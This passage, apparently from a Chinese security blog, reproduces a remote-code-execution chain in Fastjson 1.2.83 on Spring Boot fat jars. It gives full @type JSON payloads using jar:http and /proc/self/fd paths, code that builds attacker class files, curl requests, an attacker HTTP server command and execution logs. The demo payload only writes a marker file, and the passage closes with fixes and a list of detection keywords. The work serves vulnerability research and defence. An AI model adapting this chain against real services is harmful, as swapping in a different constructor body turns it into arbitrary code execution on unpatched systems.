承载多个候选对象,批量测试 fd | MapDeserializer.java:190-195 |
外层 @type=Feature |
进入 Fastjson 自带 @JSONType 类 |
Feature.java:11 |
properties |
进入 Map 解析器 | Feature.java:16 |
内层 properties.@type |
触发 checkAutoType(typeName, null, ...) |
MapDeserializer.java:191 |
jar:file:.proc.self.fd.N!.E... |
构造 /proc/self/fd/N jar URL resource |
ParserConfig.java:1482 |
jar:http://... 是第一阶段投递入口,用于诱导 JDK JarURLConnection 下载远程 jar。实测中,目标进程会生成 /tmp/jar_cache*.tmp (deleted) 文件描述符;同一个请求后续的 jar:file:.proc.self.fd.N!.E... 可以枚举并命中该 fd,从远程 jar cache 中加载 class。
10. 安全复现步骤
10.1 复现原则
复现目标不是执行系统命令,也不是弹计算器,而是证明下面这条安全边界已经被突破:
不可信请求体
-> Fastjson 解析 @type
-> 读取攻击者可控 class resource
-> ASM 判断 @JSONType
-> autoTypeSupport=false 仍进入 TypeUtils.loadClass
-> JSON.parse 实例化该 class
只要上述闭环成立,风险就不再是“是否存在某个传统 gadget 类”,而是“外部 class 字节是否能被 ClassLoader 看到并被 Fastjson 实例化”。验证程序使用受控 marker 类,只在构造器中写入 /tmp/rce-fastjson.txt,不包含系统命令、网络连接或反连逻辑。
10.2 复现前提
复现环境需要满足以下条件:
JDK: Java 8
系统: Linux
Fastjson: 1.2.83
SafeMode: false
AutoType: false
启动方式: Spring Boot executable fat jar, java -jar 启动
ClassLoader: org.springframework.boot.loader.LaunchedURLClassLoader
如果服务是在 IDE、Maven Surefire 或普通 classpath 下启动,通常只能复现 Fastjson 的 @JSONType 预扫描逻辑,不能复现 /proc/self/fd/N 这一段路径闭环。原因见第 7 章。
10.3 第一步:确认当前服务是否为关键 ClassLoader
在待验证服务启动时打印 Fastjson 所在 ClassLoader:
ClassLoader cl = com.alibaba.fastjson.parser.ParserConfig.class.getClassLoader();
System.out.println(cl.getClass().getName());
预期高风险输出:
org.springframework.boot.loader.LaunchedURLClassLoader
低风险但仍需修复的输出:
sun.misc.Launcher$AppClassLoader
AppClassLoader 不代表 Fastjson 逻辑安全,只代表当前启动形态不满足本文验证的 /proc/self/fd/N ClassLoader 条件。
10.4 第二步:运行良性验证工程
本次分析使用的良性验证工程位置:
/private/tmp/fastjson1283rce-bootprobe
核心验证代码位置:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java
构建 Spring Boot fat jar:
cd /private/tmp/fastjson1283rce-bootprobe
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home \
mvn -q -Dmaven.test.skip=true clean package
同步到 Linux 验证机:
rsync -avz \
/private/tmp/fastjson1283rce-bootprobe/target/fastjson1283rce-0.0.1-SNAPSHOT.jar \
root@192.168.1.208:/tmp/fastjson1283rce-bootprobe.jar
在 Linux 验证机执行:
ssh root@192.168.1.208 \
"java -version 2>&1; java -jar /tmp/fastjson1283rce-bootprobe.jar"
10.5 第三步:判断输出是否证明漏洞原语成立
关键输出一:
parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader
含义:
Fastjson 使用 Spring Boot fat jar 的 LaunchedURLClassLoader,不是普通 AppClassLoader。
关键输出二:
resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
stream=read:202
含义:
ClassLoader 能够通过 /proc/self/fd/N 读取 jar 内的 class entry。这里的 stream=read:202 表示 class 字节已经被读取。
关键输出三:
checkAutoTypeProcFd=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
含义:
ParserConfig.checkAutoType 已经接受非常规 typeName,并返回对应的 class。此时 autoTypeSupport=false 没有阻止该路径。
关键输出四:
parseProcFdClass=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
含义:
JSON.parse 已经完成对象实例化。该输出是复现闭环中的关键结论。
关键输出五:
markerFile=/tmp/rce-fastjson.txt
markerExists=true
markerLength=45
--- marker ---
-rw-r--r-- 1 root root 45 Jul 20 22:50 /tmp/rce-fastjson.txt
content=fastjson external class constructor executed
含义:
由外部 class 构造器触发的受控副作用已经发生。该文件不是验证主程序预先创建的;验证程序在 JSON.parse 前执行 marker.delete(),随后只有当 Fastjson 成功实例化外部 class 时,构造器才会重新创建 /tmp/rce-fastjson.txt。
对应验证代码:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java:78
78 File marker = new File("/tmp/rce-fastjson.txt");
79 marker.delete();
80 Object procObject = JSON.parse("{\"@type\":\"" + procType + "\"}", configWithBootLoader);
81 System.out.println("parseProcFdClass=" + procObject.getClass().getName());
82 System.out.println("markerFile=" + marker.getAbsolutePath());
83 System.out.println("markerExists=" + marker.exists());
84 System.out.println("markerLength=" + (marker.exists() ? marker.length() : -1));
10.6 第四步:在真实 Spring Boot 服务中做安全验证
真实服务中常见的风险入口如下:
@PostMapping("/api")
public Object api(@RequestBody String body) {
return JSON.parseObject(body, Dto.class);
}
这类代码容易被误认为安全,因为调用方绑定了 Dto.class。但第 4.2 节已经说明,DTO 绑定不会阻止字段级 @type 进入 JavaBeanDeserializer 和 ParserConfig.checkAutoType。
安全验证方式:
- 在测试环境启用与生产一致的打包方式,即
java -jar app.jar。 - 确认 Fastjson 版本为
1.2.83。 - 确认未启用 SafeMode。
- 在服务内加入临时日志,打印
ParserConfig.class.getClassLoader()。 - 使用受控 marker 类替代命令执行类,观察是否进入
checkAutoType -> loadClass -> parse -> constructor闭环。 - 验证完成后删除临时代码,启用 SafeMode 或迁移 Fastjson 2.x。
安全验证目标是证明“外部 class 字节可被 Fastjson 加载、实例化,并执行构造器中的受控 Java 代码”。复现过程不需要构造命令执行类。
10.7 第五步:真实 Spring Boot HTTP 接口复现
为了避免复现停留在 main 方法或本地自测程序,验证工程额外提供了一个真实 Spring Boot HTTP 接口:
POST /api/real/parse
接口代码位置:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealServiceController.java:25
25 @PostMapping("/api/real/parse")
26 public String parse(@RequestBody String body) throws Exception {
27 File marker = new File("/tmp/rce-fastjson.txt");
28 marker.delete();
29 String parseResult;
30 try {
31 RealRequest request = JSON.parseObject(body, RealRequest.class);
32 parseResult = "ok:" + request.getClass().getName();
33 } catch (Throwable e) {
34 parseResult = "parseExceptionAfterConstructor:" + e.getClass().getName() + ":" + e.getMessage();
35 }
36 boolean exists = marker.exists();
37 String content = exists ? new String(Files.readAllBytes(marker.toPath()), "UTF-8") : "";
38 return "parsed=" + parseResult
39 + "\nprocType=" + resource.getProcType()
40 + "\nmarkerExists=" + exists
41 + "\nmarkerContent=" + content;
该接口具备三个关键特征:
1. 输入来自真实 HTTP request body
2. 服务端调用 JSON.parseObject(body, RealRequest.class)
3. marker 文件在 JSON.parseObject 前删除,只能由外部 class 构造器重新创建
DTO 代码位置:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealRequest.java:5
5 public class RealRequest implements Serializable {
6 private Object sdkVersion;
...
12 public void setSdkVersion(Object sdkVersion) {
13 this.sdkVersion = sdkVersion;
14 }
服务启动时准备 /proc/self/fd class resource,并打印实际请求 payload:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/demos/web/RealServiceExploitResource.java:19
19 @PostConstruct
20 public void prepare() throws Exception {
21 File procJar = new File("/tmp/real-service-fastjson-probe");
22 String suffix = "Ereal25d22e68c1ef25e1";
23 String typeTemplate = "jar:file:.proc.self.fd.%s!." + suffix;
...
26 heldOpen = new FileInputStream(procJar);
27 int fd = findFdFor(procJar);
...
31 procType = String.format(typeTemplate, String.valueOf(fd));
32 writeOneEntryJar(procJar, suffix + ".class", classBytes(procType.replace('.', '/')));
33 payload = "{\"sdkVersion\":{\"@type\":\"com.alibaba.fastjson.support.geo.Feature\","
34 + "\"properties\":{\"@type\":\"" + procType + "\",\"x\":1}}}";
35 System.out.println("[REAL-REPRO] procType=" + procType);
36 System.out.println("[REAL-REPRO] curl payload=" + payload);
Ubuntu 测试机启动服务:
java -jar /tmp/fastjson1283rce-real-service.jar --server.port=18080
启动日志:
Starting Fastjson1283rceApplication using Java 1.8.0_492
Tomcat initialized with port(s): 18080 (http)
[REAL-REPRO] procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
[REAL-REPRO] curl payload={"sdkVersion":{"@type":"com.alibaba.fastjson.support.geo.Feature","properties":{"@type":"jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1","x":1}}}
Tomcat started on port(s): 18080 (http)
通过 HTTP 发送真实请求:
payload=$(curl -s http://127.0.0.1:18080/api/real/payload)
curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
-H 'Content-Type: application/json' \
--data-binary "$payload"
接口响应:
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
parsed=parseExceptionAfterConstructor:com.alibaba.fastjson.JSONException:jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1 cannot be cast to java.util.Map
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=real spring boot endpoint constructor executed
测试机文件证据:
-rw-r--r-- 1 root root 47 Jul 20 22:58 /tmp/rce-fastjson.txt
content=real spring boot endpoint constructor executed
结论:
真实 Spring Boot 服务、真实 Tomcat HTTP 接口、真实请求体、真实 JSON.parseObject(body, RealRequest.class) 调用均已参与复现。虽然 Fastjson 在构造器执行后继续处理 Feature.properties 时出现类型转换异常,但异常发生在外部 class 构造器执行之后;/tmp/rce-fastjson.txt 已经证明受控 Java 代码在接口请求过程中被执行。
10.8 第六步:证明 class 字节来自外部可控 jar
为验证 marker class 并非目标服务预置类,复现过程中额外构造了一个独立 attacker jar:
attacker 目录: /tmp/fastjson-attacker
attacker jar: /tmp/fastjson-attacker/LOCAL
目标服务 jar: /tmp/fastjson1283rce-real-service.jar
LOCAL 不在目标 Spring Boot 应用 classpath 内,也不是目标服务源码中的业务类。它由独立生成器创建:
/private/tmp/fastjson-attacker/AttackerJarBuilder.java:6
6 public class AttackerJarBuilder {
7 public static void main(String[] args) throws Exception {
...
11 File jarFile = new File(args[0]);
12 String typeName = args[1];
13 String entryName = args[2];
14 String internalName = typeName.replace('.', '/');
15 JarOutputStream out = new JarOutputStream(new FileOutputStream(jarFile));
16 out.putNextEntry(new JarEntry(entryName));
17 out.write(classBytes(internalName));
生成的 class 带有 @JSONType 注解,并在构造器中写入 marker 文件:
/private/tmp/fastjson-attacker/AttackerJarBuilder.java:41
41 w.utf("RuntimeVisibleAnnotations");
42 w.utf("Lcom/alibaba/fastjson/annotation/JSONType;");
...
45 w.utf("java/io/FileOutputStream");
...
50 w.utf("/tmp/rce-fastjson.txt");
52 w.utf("remote http jar constructor executed\n");
...
85 w.u1(0xBB); // new FileOutputStream
...
98 w.u1(0xB6); // FileOutputStream.write(byte[])
...
101 w.u1(0xB6); // FileOutputStream.close()
生成 attacker jar:
javac /private/tmp/fastjson-attacker/AttackerJarBuilder.java
java -cp /private/tmp/fastjson-attacker AttackerJarBuilder \
/private/tmp/fastjson-attacker/LOCAL \
'jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1' \
Efile25d22e68c1ef25e1.class
生成器输出:
jar=/private/tmp/fastjson-attacker/LOCAL
typeName=jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1
resource=jar:file:/tmp/fastjson-attacker/LOCAL!/Efile25d22e68c1ef25e1.class
entry=Efile25d22e68c1ef25e1.class
同步到测试机 attacker 目录:
rsync -avz /private/tmp/fastjson-attacker/LOCAL \
root@192.168.1.208:/tmp/fastjson-attacker/LOCAL
对真实目标接口发送请求:
curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
-H 'Content-Type: application/json' \
--data-binary '{"sdkVersion":{"@type":"jar:file:.tmp.fastjson-attacker.LOCAL!.Efile25d22e68c1ef25e1"}}'
接口响应:
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
parsed=ok:com.uzju.test.fastjson1283rce.demos.web.RealRequest
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=remote http jar constructor executed
测试机文件证据:
-rw-r--r-- 1 root root 37 Jul 20 23:07 /tmp/rce-fastjson.txt
content=remote http jar constructor executed
结论:
该复现证明,目标服务不需要内置 Efile25d22e68c1ef25e1 类;请求体中的 @type 可以指向目标进程可访问的外部 jar 文件,Fastjson 会读取该 jar 中的 class 字节,识别 @JSONType,随后加载并实例化该 class。/tmp/rce-fastjson.txt 的内容来自 attacker jar 内部 class 的构造器。
10.9 第七步:jar:http 外部投递与 /proc/self/fd 单请求闭环
该步骤用于证明原始 EXP 中最关键的一环:攻击者通过 jar:http 投递远程 jar,JDK 将远程 jar 缓存为 /tmp/jar_cache*.tmp (deleted),随后同一个请求中的 jar:file:.proc.self.fd.N!... 枚举命中该 fd,并执行远程 jar 内 class 的构造器。
完整复现代码已保存:
docs/fastjson-1.2.83-repro/
attacker REMOTE jar 必须同时包含两类 class:
Eremote25d22e68c1ef25e1.class
用于第一段 jar:http://localhost:18081/REMOTE!.Eremote...
E35remote25d22e68c1ef25e1.class
E36remote25d22e68c1ef25e1.class
E37remote25d22e68c1ef25e1.class
用于后续 jar:file:.proc.self.fd.N!.ENremote...
生成 REMOTE jar:
java -cp /private/tmp/fastjson-attacker MultiFdJarBuilder \
/private/tmp/fastjson-attacker/REMOTE \
3 320 \
remote25d22e68c1ef25e1
关键代码位置:
/private/tmp/fastjson-attacker/MultiFdJarBuilder.java:15
15 JarOutputStream out = new JarOutputStream(new FileOutputStream(jarFile));
16 String remoteType = "jar:http://localhost:18081/REMOTE!.E" + suffix;
17 out.putNextEntry(new JarEntry("E" + suffix + ".class"));
18 out.write(classBytes(remoteType.replace('.', '/'), 0));
19 out.closeEntry();
20 for (int fd = start; fd <= end; fd++) {
21 String entryName = "E" + fd + suffix + ".class";
22 String typeName = "jar:file:.proc.self.fd." + fd + "!.E" + fd + suffix;
23 String internalName = typeName.replace('.', '/');
24 out.putNextEntry(new JarEntry(entryName));
25 out.write(classBytes(internalName, fd));
启动 attacker HTTP server:
cd /tmp/fastjson-attacker
python3 -m http.server 18081
重启目标服务后,先确认不存在远程 jar cache:
--- clean fd before ---
1 -> /tmp/fastjson-real-service.log
15 -> /tmp/fastjson1283rce-real-service.jar
16 -> /tmp/fastjson1283rce-real-service.jar
26 -> /tmp/real-service-fastjson-probe
无 jar_cache
发送单个 HTTP 请求,第一项触发 jar:http,后续项枚举 fd35-37:
curl -i -s -X POST http://127.0.0.1:18080/api/real/parse \
-H 'Content-Type: application/json' \
--data-binary @/tmp/single-chain-35-37.json
/tmp/single-chain-35-37.json 结构:
{
"sdkVersion": {
"chain": [
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"properties": {
"@type": "jar:http://localhost:18081/REMOTE!.Eremote25d22e68c1ef25e1",
"x": 1
}
},
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"properties": {
"@type": "jar:file:.proc.self.fd.35!.E35remote25d22e68c1ef25e1",
"x": 1
}
},
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"properties": {
"@type": "jar:file:.proc.self.fd.36!.E36remote25d22e68c1ef25e1",
"x": 1
}
},
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"properties": {
"@type": "jar:file:.proc.self.fd.37!.E37remote25d22e68c1ef25e1",
"x": 1
}
}
]
}
}
接口响应:
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
parsed=parseExceptionAfterConstructor:com.alibaba.fastjson.JSONException:unkown error
procType=jar:file:.proc.self.fd.26!.Ereal25d22e68c1ef25e1
markerExists=true
markerContent=jar-http-fd-chain constructor executed fd=35
目标文件证据:
-rw-r--r-- 1 root root 45 Jul 20 23:40 /tmp/rce-fastjson.txt
jar-http-fd-chain constructor executed fd=35
目标进程 fd 证据:
35 -> /tmp/jar_cache5195082310316770587.tmp (deleted)
36 -> /tmp/jar_cache5195082310316770587.tmp (deleted)
attacker HTTP server 日志:
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
结论:
真实 HTTP 接口
-> JSON.parseObject(body, RealRequest.class)
-> 第一段 Feature.properties.@type = jar:http://localhost:18081/REMOTE!.Eremote...
-> JDK JarURLConnection 下载 REMOTE
-> 目标进程出现 /tmp/jar_cache*.tmp (deleted)
-> 后续 Feature.properties.@type = jar:file:.proc.self.fd.35!.E35remote...
-> Fastjson 从 fd35 对应 jar cache 中读取 class
-> @JSONType 预扫描放行
-> TypeUtils.loadClass 加载该 class
-> 构造器写入 /tmp/rce-fastjson.txt
10.10 外部危害如何理解
从开发者视角看,该漏洞的危害不在于某个业务 DTO 写错了字段类型,而在于 Fastjson 把用户输入从“数据”提升成了“类加载决策”:
用户输入字符串
-> class resource 路径
-> class 字节
-> @JSONType 注解判断
-> ClassLoader.loadClass
-> 对象构造
如果外部攻击者能够让目标进程打开一个包含特定 class 的 jar,并通过 /proc/self/fd/N 被 LaunchedURLClassLoader 读取,那么 Fastjson 就可能实例化这个 class。Java 对象在实例化过程中会经过类加载、类初始化、构造器调用、setter 调用等阶段。任何阶段出现危险副作用,都会把“反序列化类型加载”扩大为代码执行风险。
因此,真实外部危害可以这样描述:
传统模型:
目标 classpath 已经存在危险 gadget
-> @type 选择 gadget
-> 触发 gadget 副作用
本次模型:
目标运行环境允许外部 class resource 被 ClassLoader 读取
-> @JSONType 预扫描放行
-> Fastjson 加载并实例化外部 class
-> 危险副作用不再依赖业务已有 gadget
这也是“gadget-free”的核心含义:不再要求目标应用依赖某个已知危险三方库类。风险从“依赖中是否存在 gadget”转移为“Fastjson 是否允许用户输入影响 class 资源读取和类加载”。
10.11 复现成功与失败的判定
复现成功必须同时满足:
1. ClassLoader 是 LaunchedURLClassLoader
2. jar:file:/proc/self/fd/N!/X.class 可读取
3. checkAutoType 返回非常规 typeName 对应 class
4. JSON.parse 实例化该 class
5. 外部 class 构造器创建 /tmp/rce-fastjson.txt
6. SafeMode 打开后同样输入被拒绝
如果只满足前两项,只能说明 ClassLoader 环境具备条件;如果只满足第三项,只能说明 Fastjson 预扫描分支可被触发;只有前五项同时满足,才能说明本文链路闭合并具备真实副作用。
复现失败常见原因:
1. 使用 IDE 或 mvn test 启动,不是 java -jar fat jar
2. JDK 版本或 Spring Boot loader 行为不同
3. Fastjson 不在 LaunchedURLClassLoader 下
4. SafeMode 已经开启
5. /proc 被容器隔离或 fd 不可枚举
6. 生成的 class internal name 与 typeName.replace('.', '/') 不一致
11. 验证方法与结果
11.1 验证目标
验证程序只证明以下事实:
1. Spring Boot fat jar 中 Fastjson 使用 LaunchedURLClassLoader
2. 该 ClassLoader 可读取绝对 jar:file:/proc/self/fd/N!/X.class
3. Fastjson 可通过 @JSONType 预扫描得到 jsonType=true
4. autoTypeSupport=false 时仍可进入 TypeUtils.loadClass
5. JSON.parse 可实例化该非常规 binary name
验证程序不包含命令执行逻辑,不验证弹计算器或反连。
11.2 验证程序:ClassLoader 与 resource 读取
文件:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java
行号:29-37
29 test(cl, "com/alibaba/fastjson/JSON.class");
30 test(cl, "jar:file:/proc/self/fd/12!/E.class");
31 test(cl, "jar:file:/no/such/file!/E.class");
32 File fdDir = new File("/private/tmp/fd");
33 fdDir.mkdirs();
34 File fdJar = new File(fdDir, "12");
35 writeOneEntryJar(fdJar, "E.class", cl.getResourceAsStream("com/alibaba/fastjson/support/geo/Feature.class"));
36 test(cl, "jar:file:/private/tmp/fd/12!/E.class");
37 test(cl, "jar:file:/private/tmp/fd/12!/missing.class");
作用:
确认 LaunchedURLClassLoader 是否能读取存在的绝对 jar:file: resource。
11.3 验证程序:非常规 binary name 加载
行号:39-60
39 String suffix = "E1225d22e68c1ef25e1";
40 String weirdType = "jar:file:.private.tmp.fd.13!." + suffix;
41 String weirdInternal = weirdType.replace('.', '/');
42 File fdJar13 = new File(fdDir, "13");
43 writeOneEntryJar(fdJar13, suffix + ".class", classBytes(weirdInternal));
44 String weirdResource = weirdType.replace('.', '/') + ".class";
45 test(cl, weirdResource);
...
54 ParserConfig configWithBootLoader = new ParserConfig();
55 configWithBootLoader.setAutoTypeSupport(false);
56 configWithBootLoader.setDefaultClassLoader(cl);
57 Class<?> checked = configWithBootLoader.checkAutoType(weirdType, null, 0);
58 System.out.println("checkAutoTypeWeird=" + checked.getName());
59 Object weirdObject = JSON.parse("{\"@type\":\"" + weirdType + "\"}", configWithBootLoader);
60 System.out.println("parseWeirdClass=" + weirdObject.getClass().getName());
作用:
确认 checkAutoType 和 JSON.parse 能处理非常规 binary name。
11.4 验证程序:Linux /proc/self/fd/N 闭环
行号:62-79
62 File procJar = new File("/tmp/proc-fd-fastjson-probe");
63 String procSuffix = "Eproc25d22e68c1ef25e1";
64 String procTypeTemplate = "jar:file:.proc.self.fd.%s!." + procSuffix;
65 writeOneEntryJar(procJar, procSuffix + ".class",
66 classBytes(String.format(procTypeTemplate, "FD").replace(".FD", ".0").replace('.', '/')));
67 FileInputStream heldOpen = new FileInputStream(procJar);
68 try {
69 int fd = findFdFor(procJar);
70 System.out.println("procFd=" + fd);
71 if (fd >= 0) {
72 String procType = String.format(procTypeTemplate, String.valueOf(fd));
73 String procInternal = procType.replace('.', '/');
74 writeOneEntryJar(procJar, procSuffix + ".class", classBytes(procInternal));
75 test(cl, procType.replace('.', '/') + ".class");
76 Class<?> procChecked = configWithBootLoader.checkAutoType(procType, null, 0);
77 System.out.println("checkAutoTypeProcFd=" + procChecked.getName());
78 Object procObject = JSON.parse("{\"@type\":\"" + procType + "\"}", configWithBootLoader);
79 System.out.println("parseProcFdClass=" + procObject.getClass().getName());
作用:
创建一个 jar 文件并保持文件描述符打开,然后通过 /proc/self/fd/N 找到该 fd,最终构造与真实 fd 对应的 typeName,验证完整闭环。
11.5 验证程序:fd 查找逻辑
行号:86-99
86 private static int findFdFor(File file) throws Exception {
87 File fdDir = new File("/proc/self/fd");
88 File[] fds = fdDir.listFiles();
...
93 String target = file.getCanonicalPath();
94 for (File fd : fds) {
95 try {
96 String link = fd.getCanonicalPath();
97 if (target.equals(link)) {
98 return Integer.parseInt(fd.getName());
99 }
作用:
避免猜测 fd,直接在当前进程内定位已打开文件对应的 /proc/self/fd/N。
11.6 验证程序:受控 marker @JSONType class 字节
行号:134-223
134 private static byte[] classBytes(String internalName) {
135 Writer w = new Writer();
136 w.u4(0xCAFEBABE);
137 w.u2(0);
138 w.u2(52);
139 w.u2(36);
140 w.utf(internalName);
...
149 w.utf("RuntimeVisibleAnnotations");
150 w.utf("Lcom/alibaba/fastjson/annotation/JSONType;");
...
153 w.utf("java/io/FileOutputStream");
...
158 w.utf("/tmp/rce-fastjson.txt");
...
160 w.utf("fastjson external class constructor executed\n");
...
193 w.u1(0xBB); // new java/io/FileOutputStream
...
206 w.u1(0xB6); // FileOutputStream.write(byte[])
...
209 w.u1(0xB6); // FileOutputStream.close()
...
223 return w.toBytes();
作用:
生成一个带 @JSONType 注解的受控 marker class。该 class 的构造器只调用 Java 标准库写入 /tmp/rce-fastjson.txt,用于证明 Fastjson 不仅完成 class 加载,而且确实执行了外部 class 的构造器代码。
11.7 验证命令
构建临时 Spring Boot fat jar:
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home \
mvn -q -Dmaven.test.skip=true clean package
同步到 Ubuntu:
rsync -avz \
/private/tmp/fastjson1283rce-bootprobe/target/fastjson1283rce-0.0.1-SNAPSHOT.jar \
root@192.168.1.208:/tmp/fastjson1283rce-bootprobe.jar
Ubuntu 执行:
ssh root@192.168.1.208 \
"rm -f /tmp/rce-fastjson.txt; \
java -version 2>&1; \
java -jar /tmp/fastjson1283rce-bootprobe.jar; \
ls -l /tmp/rce-fastjson.txt; \
cat /tmp/rce-fastjson.txt"
关键输出:
openjdk version "1.8.0_492"
parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader
procFd=20
resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
stream=read:202
checkAutoTypeProcFd=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
parseProcFdClass=jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
markerFile=/tmp/rce-fastjson.txt
markerExists=true
markerLength=45
-rw-r--r-- 1 root root 45 Jul 20 22:50 /tmp/rce-fastjson.txt
fastjson external class constructor executed
12. 绕过原因总结
12.1 绕过 autoTypeSupport=false
ParserConfig.java:1500 使用的是复合条件:
autoTypeSupport || jsonType || expectClassFlag
autoTypeSupport=false 只关闭第一个条件。jsonType=true 仍可使类加载继续。
12.2 绕过 DTO 绑定
JavaBeanDeserializer.java:823 显示字段内 @type 仍会进入 checkAutoType(typeName, expectClass, ...)。DTO 绑定不能阻止字段级多态解析。
12.3 绕过传统 gadget 依赖
Feature 是 Fastjson 自带 @JSONType 类,作用是进入链路;最终被加载的 class 字节可来自外部 jar resource,不依赖业务系统已有危险 gadget。
12.4 绕过普通路径破坏
typeName.replace('.', '/') 会破坏普通 .jar 路径,但 /proc/self/fd/N 不包含点号,能够保持路径有效。
13. 风险边界
已验证成立:
- Fastjson 1.2.83;
- SafeMode 未启用;
- Spring Boot executable fat jar;
- Linux
/proc/self/fd/N; LaunchedURLClassLoader可读取绝对jar:file:resource;@JSONType空类可被checkAutoType加载并被JSON.parse实例化。
本文未提供:
- 命令执行 payload。
- 反连 shell payload。
- 面向第三方目标的自动化攻击脚本。
14. 修复建议
14.1 启用 SafeMode
推荐配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
或 JVM 参数:
-Dfastjson.parser.safeMode=true
依据:
ParserConfig.java:1325-1330 显示 SafeMode 在所有后续分支前抛出异常,可以阻断 jsonType 预扫描链路。
14.2 迁移 Fastjson 2.x
Fastjson 1.x 已不适合作为长期安全依赖。生产系统应迁移到 Fastjson 2.x,并重新审计多态反序列化配置。
14.3 请求入口拒绝 @type
对不可信请求体,应在进入 Fastjson 前拒绝任意层级 @type 字段。
重点检测特征:
"@type"
com.alibaba.fastjson.support.geo.Feature
jar:file:.proc.self.fd.
jar:file:/proc/self/fd/
jar:http:
14.4 部署侧加固
建议:
- 限制应用出网;
- 避免不必要的远程 jar/URL 访问;
- 容器环境收紧
/proc暴露; - 对异常
jar:file:/proc/self/fd/访问建立告警; - Spring Boot fat jar 服务优先启用 SafeMode 或迁移。
15. 工程排查清单
15.1 依赖版本
检查是否存在:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
15.2 启动方式
检查生产是否使用:
java -jar app.jar
如果是 Spring Boot executable fat jar,应按高风险处理。
15.3 解析入口
重点搜索:
JSON.parse(
JSON.parseObject(
JSON.parseArray(
FastJsonHttpMessageConverter
GenericFastJsonRedisSerializer
FastJsonRedisSerializer
15.4 安全配置
仅看到以下配置不能判定安全:
config.setAutoTypeSupport(false);
JSON.parseObject(body, Dto.class);
需要确认是否启用:
ParserConfig.getGlobalInstance().setSafeMode(true);
16. 最终结论
Fastjson 1.2.83 的风险点不是单个危险类,也不是传统 gadget 依赖,而是 checkAutoType 中 @JSONType 预扫描机制的设计缺陷。用户控制的 typeName 同时参与 class resource 构造和后续 class loading。Linux /proc/self/fd/N 与 Spring Boot fat jar 的 LaunchedURLClassLoader 使 jar:file:.proc.self.fd.N!.E... 这种非常规类型名能够完成资源读取、注解扫描、类型加载和对象实例化闭环。
因此,以下判断成立:
autoTypeSupport=false不是完整缓解;JSON.parseObject(body, Dto.class)不是完整缓解;- 移除传统 gadget 类不是完整缓解;
- SafeMode 或迁移 Fastjson 2.x 是可靠修复方向。
扫描二维码推送至手机访问。
版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。
SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'